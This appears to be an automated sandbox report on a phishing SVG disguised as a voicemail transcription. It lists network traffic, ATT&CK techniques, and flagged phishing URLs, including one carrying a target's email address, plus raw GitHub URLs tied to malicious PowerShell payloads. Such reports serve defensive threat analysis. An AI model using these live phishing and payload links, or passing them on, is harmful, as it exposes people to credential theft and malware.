Source: unknown	HTTPS traffic detected: 142.250.184.196:443 -> 192.168.2.16:49718 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.16:49721 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.6.189:443 -> 192.168.2.16:49722 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.46:443 -> 192.168.2.16:49723 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.180.46:443 -> 192.168.2.16:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49730 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49738 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49740 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49742 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.41.104:443 -> 192.168.2.16:49739 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.16:49743 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49744 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49745 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.110.133:443 -> 192.168.2.16:49749 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.16:49763 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.16:49775 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.16:49781 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.1.100:443 -> 192.168.2.16:49782 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.16:49783 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.49.96:443 -> 192.168.2.16:49784 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.16:49798 version: TLS 1.2

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Windows\SystemTemp\scoped_dir6248_548697735

Jump to behavior

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File deleted: C:\Windows\SystemTemp\scoped_dir6248_548697735

Jump to behavior

Source: classification engine

Classification label: mal100.phis.troj.evad.winSVG@21/80@44/18

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument C:\Users\user\Desktop\PLAYVO~1.SVG
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2044,i,7288536219110086134,15413776007562023016,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:3
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2044,i,7288536219110086134,15413776007562023016,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version --mojo-platform-channel-handle=2216 /prefetch:3	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Malware Analysis System Evasion

Yara detected AntiDebug via timestamp check

Source: Yara match	File source: 2.12..script.csv, type: HTML
Source: Yara match	File source: 1.1.d.script.csv, type: HTML
Source: Yara match	File source: 2.13..script.csv, type: HTML
Source: Yara match	File source: 2.4.pages.csv, type: HTML
Source: Yara match	File source: 2.3.pages.csv, type: HTML

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	2 Browser Extensions	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	1 Scripting	1 Extra Window Memory Injection	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	4 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Deobfuscate/Decode Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	5 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	1 File Deletion	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Extra Window Memory Injection	LSA Secrets	Internet Connection Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
https://grupomarina.brightnexst.ru/yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168	100%	Avira URL Cloud	phishing
https://xoq7.qakaco.ru/tarboz@gicb27	0%	Avira URL Cloud	safe
https://grupomarina.brightnexst.ru/yrhv76inSJaBVfGxBEwSxmLj7A0nIUCRosZ3LM0ORxbvHL4JE2FQRwo1v	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/GDSherpa-vf2.woff2	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/pax6lf1/	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/nm6KwyhgTPlcdaTFM6w4Te3A1nGYYINg9w5	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/GDSherpa-regular.woff2	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/56clAjKv8GzXCyBZTPvhSGijqFC51GKJLn0iz7It89110	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/rqNX84y2LLLeotfXXhDH1k2LmulOVtkFLk3LFLhRu0ew	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/GDSherpa-bold.woff	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/GDSherpa-vf.woff2	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210	100%	Avira URL Cloud	phishing
https://5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es/qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsk0agvHzvnbvksSbpV12V8Bcwx40	0%	Avira URL Cloud	safe
https://grupomarina.brightnexst.ru/GDSherpa-regular.woff	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/xyy6BRvgDOSBkrsxogh30	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/favicon.ico	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222	100%	Avira URL Cloud	phishing
https://5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es/qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsjeRFV6JKY12RPztaFwx38	0%	Avira URL Cloud	safe
https://grupomarina.brightnexst.ru/GDSherpa-bold.woff2	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/56ACCeVmLlcdPPXc8920	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148	100%	Avira URL Cloud	phishing
https://grupomarina.brightnexst.ru/qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232	100%	Avira URL Cloud	phishing

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
a.nel.cloudflare.com	35.190.80.1	true	false	high
5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es	104.21.49.96	true	false	high
developers.cloudflare.com	104.16.6.189	true	false	high
github.com	140.82.121.4	true	false	high
xfeoii3kbm.woofradio.cfd	172.67.129.81	true	false	high
code.jquery.com	151.101.2.137	true	false	high
cdnjs.cloudflare.com	104.17.24.14	true	false	high
challenges.cloudflare.com	104.18.95.41	true	false	high
get.geojs.io	172.67.70.233	true	false	high
www.google.com	142.250.184.196	true	false	high
d19d360lklgih4.cloudfront.net	13.33.187.68	true	false	high
xoq7.qakaco.ru	172.67.180.46	true	false	high
objects.githubusercontent.com	185.199.110.133	true	false	high
grupomarina.brightnexst.ru	104.21.41.104	true	false	high
ok4static.oktacdn.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://a.nel.cloudflare.com/report/v4?s=Ngks3Q9GYc1VczPH%2FU89s2tX23XbQ6VDkNwsTMolcedPq2KTkxtMBx2%2BBiowShiv5v6twbNe7EnkbIE59tR2kKoFA%2FVAPFXibNy3WFGdlTmCauvXgqhnaVUbnE6A	false		high
https://grupomarina.brightnexst.ru/ijbHPlXv32ebWvACIZbLFotR2xA3cdeNQ7GgeJq4gGCcuhx678168	false	Avira URL Cloud: phishing	unknown
https://ok4static.oktacdn.com/fs/bcg/4/gfsh9pi7jcWKJKMAs1t7	false		high
https://grupomarina.brightnexst.ru/yzfSKSVVzwGEVLxY7bOA4NzirtCtF1GaMBQqxop8zPIfBhpW0CdjaQab180	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/yrhv76inSJaBVfGxBEwSxmLj7A0nIUCRosZ3LM0ORxbvHL4JE2FQRwo1v	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/pax6lf1/	true	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/GDSherpa-vf2.woff2	false	Avira URL Cloud: phishing	unknown
https://code.jquery.com/jquery-3.6.0.min.js	false		high
https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js	false		high
https://xoq7.qakaco.ru/tarboz@gicb27	false	Avira URL Cloud: safe	unknown
https://grupomarina.brightnexst.ru/nm6KwyhgTPlcdaTFM6w4Te3A1nGYYINg9w5	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/GDSherpa-regular.woff2	false	Avira URL Cloud: phishing	unknown
https://ok4static.oktacdn.com/assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css	false		high
https://grupomarina.brightnexst.ru/56clAjKv8GzXCyBZTPvhSGijqFC51GKJLn0iz7It89110	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/uv5tOb9SlHnVjDL3WYeZfQoF3Qs83rstFSZ0igTibpOtLLBCKZ34130	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/rqNX84y2LLLeotfXXhDH1k2LmulOVtkFLk3LFLhRu0ew	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/GDSherpa-bold.woff	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/ghBioawVsGsUA117yrJ412EaQY1Skt4YW6RuiH2YzmHxyQfrkxsWCkyew24xOurTOMWC6k8Q012210	false	Avira URL Cloud: phishing	unknown
https://5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es/qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsk0agvHzvnbvksSbpV12V8Bcwx40	false	Avira URL Cloud: safe	unknown
https://grupomarina.brightnexst.ru/GDSherpa-vf.woff2	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/rsxdLZylu9sNLs7eTOu0UqzijrscZpLQuuew9C74mWaef200	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/stYI03OBVOCU6PTHp0UgOWjuR6YVCNeMM7jmnsOFLV5NiD0a9CgeCqBu7DmPKxRFjpU0zwRS32gh260	false	Avira URL Cloud: phishing	unknown
https://challenges.cloudflare.com/turnstile/v0/api.js?onload=onloadTurnstileCallback	false		high
https://grupomarina.brightnexst.ru/GDSherpa-regular.woff	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/xyy6BRvgDOSBkrsxogh30	false	Avira URL Cloud: phishing	unknown
https://ok4static.oktacdn.com/assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css	false		high
https://grupomarina.brightnexst.ru/opxSwtQgKAp3oNRo2XIhbcuyRLwKRd5xRghLW2MjECbAoN6NrGkr67139	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/ijdastoNQHS8csTUxKMnYfLnTzCP891YpfDmPmdwyPnQeykuaxbSULSItkm2fyz222	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/favicon.ico	false	Avira URL Cloud: phishing	unknown
https://5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es/qroGHAUDePLpnzyKkQmczDpopPjitYSbVTVKVKMUJVFITSMCWETEESJCFPZDLPJNJXIrsjeRFV6JKY12RPztaFwx38	false	Avira URL Cloud: safe	unknown
https://developers.cloudflare.com/favicon.png	false		high
https://challenges.cloudflare.com/turnstile/v0/g/f3b948d8acb8/api.js	false		high
https://a.nel.cloudflare.com/report/v4?s=M38fjdfrZwMhGFgUDmUvPM9bt5QvH3JId4Mx%2BqAaPhycRfw1luQ6fV4eKXgcqlgHJsfyB5s7OV3viqiNx1SobaJGrA1NNUK%2F5ODu%2BVstk%2Ftq9UHQsKR%2BxefYBWT2	false		high
https://grupomarina.brightnexst.ru/GDSherpa-bold.woff2	false	Avira URL Cloud: phishing	unknown
https://get.geojs.io/v1/ip/geo.json	false		high
https://grupomarina.brightnexst.ru/pax6lf1/#Tssalazar%40grupomarina.cl	false		unknown
https://grupomarina.brightnexst.ru/mnDozZ86DfeH93KodasaV6JijAz0XdnqsnPjlpZlIO7O290148	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/qr8qdLMcV1KyHq9RcCpDL8TGmNXiThRTm9oKUFrvN12Lp0gWgAcpxstwUy42SSCBNeoDKUyLiy7t5j5VJef232	false	Avira URL Cloud: phishing	unknown
https://grupomarina.brightnexst.ru/56ACCeVmLlcdPPXc8920	false	Avira URL Cloud: phishing	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://github.com/fent)	chromecache_98.1.dr	false		high
https://www.etsy.com	chromecache_102.1.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
172.67.180.46	xoq7.qakaco.ru	United States	13335	CLOUDFLARENETUS	false
104.26.1.100	unknown	United States	13335	CLOUDFLARENETUS	false
104.21.49.96	5qdxsl77lrspjgndviiqjboedfl99fkwrbe1q8uvc7kmybiei89u.amayaxw.es	United States	13335	CLOUDFLARENETUS	false
104.21.2.147	unknown	United States	13335	CLOUDFLARENETUS	false
172.67.129.81	xfeoii3kbm.woofradio.cfd	United States	13335	CLOUDFLARENETUS	false
104.16.6.189	developers.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
35.190.80.1	a.nel.cloudflare.com	United States	15169	GOOGLEUS	false
185.199.110.133	objects.githubusercontent.com	Netherlands	54113	FASTLYUS	false
104.17.24.14	cdnjs.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
142.250.184.196	www.google.com	United States	15169	GOOGLEUS	false
13.33.187.68	d19d360lklgih4.cloudfront.net	United States	16509	AMAZON-02US	false
104.18.95.41	challenges.cloudflare.com	United States	13335	CLOUDFLARENETUS	false
140.82.121.4	github.com	United States	36459	GITHUBUS	false
151.101.2.137	code.jquery.com	United States	54113	FASTLYUS	false
13.33.187.96	unknown	United States	16509	AMAZON-02US	false
172.67.70.233	get.geojs.io	United States	13335	CLOUDFLARENETUS	false
104.21.41.104	grupomarina.brightnexst.ru	United States	13335	CLOUDFLARENETUS	false

Private

IP
192.168.2.16

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1640941
Start date and time:	2025-03-17 21:54:30 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultwindowsinteractivecookbook.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Play Voicemail Transcription. (387.KB).svg
Detection:	MAL
Classification:	mal100.phis.troj.evad.winSVG@21/80@44/18
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .svg

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, SIHClient.exe, SgrmBroker.exe, backgroundTaskHost.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 216.58.212.174, 142.250.186.99, 142.250.186.174, 74.125.71.84, 142.250.185.78, 142.250.185.238, 216.58.206.78, 142.250.186.142, 142.250.186.74, 142.250.185.170, 142.250.185.74, 142.250.184.202, 142.250.185.106, 142.250.181.234, 142.250.185.138, 142.250.186.106, 216.58.206.42, 142.250.74.202, 142.250.186.138, 142.250.185.234, 172.217.16.202, 142.250.186.42, 142.250.186.170, 142.250.185.202, 216.58.206.67, 142.250.185.110, 142.250.184.227, 172.217.16.206, 142.250.181.238, 142.250.186.110, 172.217.16.142, 172.202.163.200, 2.16.185.191, 40.126.31.129, 2.23.227.208
Excluded domains from analysis (whitelisted): www.bing.com, clients1.google.com, fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, redirector.gvt1.com, login.live.com, update.googleapis.com, clients.l.google.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenFile calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
172.67.180.46	Wpb00990__098.html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
104.26.1.100	install.exe	Get hash	malicious	Unknown	Browse	get.geojs.io/v1/ip/geo.json
172.67.129.81	3661627172.svg	Get hash	malicious	HTMLPhisher	Browse
104.16.6.189	https://stelladass.co.uk/ra3.pdf	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://nwsyork.lamboi.xyz/HnBTHlrQ#parts@foster-uk.com	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	http://t.go.rac.co.uk/r/?id=h1020a75,d7623c,1ac8b&p1=r%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFv%EF%BB%BF%EF%BB%BFi%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFw%EF%BB%BF%EF%BB%BFs%EF%BB%BF%EF%BB%BFt%EF%BB%BF%EF%BB%BFi%EF%BB%BF%EF%BB%BFp%EF%BB%BF%EF%BB%BFs%EF%BB%BF%EF%BB%BFa%EF%BB%BF%EF%BB%BFn%EF%BB%BF%EF%BB%BFd%EF%BB%BF%EF%BB%BFo%EF%BB%BF%EF%BB%BFf%EF%BB%BF%EF%BB%BFf%EF%BB%BF%EF%BB%BFe%EF%BB%BF%EF%BB%BFr%EF%BB%BF%EF%BB%BFs.com/sys/html/SNRgusxqYwmKT0SXMypB0/aW52ZXN0bWVudHNAZmlyc3RvbnRhcmlvLmNvbQ==	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://dns.toytviyy.es/NeCp/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	41QUE01 - TAX INVOICE - 7274916 from SFG (Brisbane).html	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://newsletter-editor.poweredbyintegra.dk/?NewsLetterTracker=true&bio=holstebrony&newsletter_ID=1&Text=Eget%20billede%20(ingen%20mellemrum)&Code=106&utcmabite=f9d0de3f-59af-46e8-b932-e8ab5db62f67&biocode=holstebrony&RedirectUrl=moviepazes.com/gredso/80c1f3626fe2dec57456150d34de5b50/ZGF2aWQuc2VkbGlja0BvbmVhdGxhcy5jb20=	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	play voicemail.svg	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	https://ei.cumhoyamon.com/kNcb/	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
	Acct# 427094 _ Plateautel Payment_ XEPOOFUCKD.eml	Get hash	malicious	Invisible JS, Tycoon2FA	Browse
	https://getformly.app/KKpGCr	Get hash	malicious	Invisible JS, Tycoon2FA	Browse
104.21.49.96	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhGNZUddqwhjRz7Y3aH-2F1iEXujVcSjMM7CY7q30axNIjPtSPwVANtpwkARse71YbTG6hv5YyKcZ3EG9czO3tuqWXIHvFV-2FdtzTRYY9DFBEvbC0MnWDkjPffSjdhbZvMXBG-2Fbl-2F1JQalpy10ZBTpuDmJw8qtDG1RR-2FO-2Bzqy6Ryg-2BIXW6P-2FRmEE7JdIRaCncCouVLTVsWciZPEjkoHD7BDf7qzUctKE-2Fuov9RtCNiCQmJmwXCDa5dDgefQoLRKRDmR4vQ-3D-3DKnfO_4-2BCeSnTfNElQaOz0iIYXcY63TczAP34ghOtoTraLSwoOLAyQYuLOf75Ty99J50dacfCtsIK1GZvxQM45z1qBFZ9wseL0KuFhELugADtC7G-2Bvzzdi1qvZkAsCG7tQfhZagkro3woJV3MTqoQy1rs8sT0Ut5uYpsrniDcVKn6MJEnCWRsblRYyJRkv-2BYtQV-2BKUm1WYOzDqDkYxny3kQFWCbISNT8xpoE2o-2BIn1-2FK5Ue8M-3D	Get hash	malicious	HTMLPhisher, Invisible JS, Tycoon2FA	Browse
185.199.110.133	sys_upd.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_menu..ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_phshop..ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_atCAD.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	vF20HtY4a4.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	xK44OOt7vD.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	Lm9IJ4r9oO.exe	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	cr_asm_crypter.ps1	Get hash	malicious	Unknown	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber.txt
	SecuriteInfo.com.Trojan.GenericKD.74126573.27896.28845.dll	Get hash	malicious	Metasploit	Browse	raw.githubusercontent.com/Neth3N/na9ow3495raygwi4gyrhuawerawera/main/gaber_mnr.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
developers.cloudflare.com	https://u17065553.ct.sendgrid.net/ls/click?upn=u001.Rw-2FXpvWBRDxNoiEvv-2B0VhMl349dE-2BIxYKCLpL5-2B-2FL8px39hmRTYxAZ-2BeMH1CR7jYvsg3f7mQR-2BtgzEdpv6rWDyoEa1Isq60WafIaat9IMqfozrbRuGiDhSD5zRfw1vSUnaPfHOkeKVWyjmgPghsIl-2FnSiz3vjd-2BgNdZNW1WWi7RlhTni8jQbV4O1UkQOa0-2F2VYGlXOPUclqMwRi50Vl1PR4j2jhVrjOnUdA6E03jJF3YxTMCgxElFH-2Bjnu2oS6ZdGJGXf9TKr37Eh3pnVym0G5ilxnSN6bJyz-2FWbi47cL6vQDH-2FLX6HDdsxLQr4OiWNyplfwZIjGldJH3Oj3k-2B0Sr92pyHOs07I3QG9CN9BFC52s0blv8XoiBzACqb7MDZTgdhgx-2Fj3fdHjRUqn0E0aUxawEH-2F-2B7SQiAWk4bi4jHEXI-3DlKA5_AMa9RrBWZfrIG11ZEW0ArF1BRI9e8rcrPZr5T9DlZ7Ba2ZAvuJPwiS8cX4aFrXjFerUDwGcfFdNk6Ly7G30W-2FpJZ3vwwQM6aCBocvejnros7-2FYckwVQH02a6C13hCOZXCH6DxRozn9HOBenC-2BdqPCIwBV1vvkSKYyJjB4wo2MVyi5b4Ko6F9xhTiwowhGgTSo1JEnvhUu4BAFpCuBdmsFw-3D-3D	Get hash	malicious	HTMLPhisher, Invisible JS, 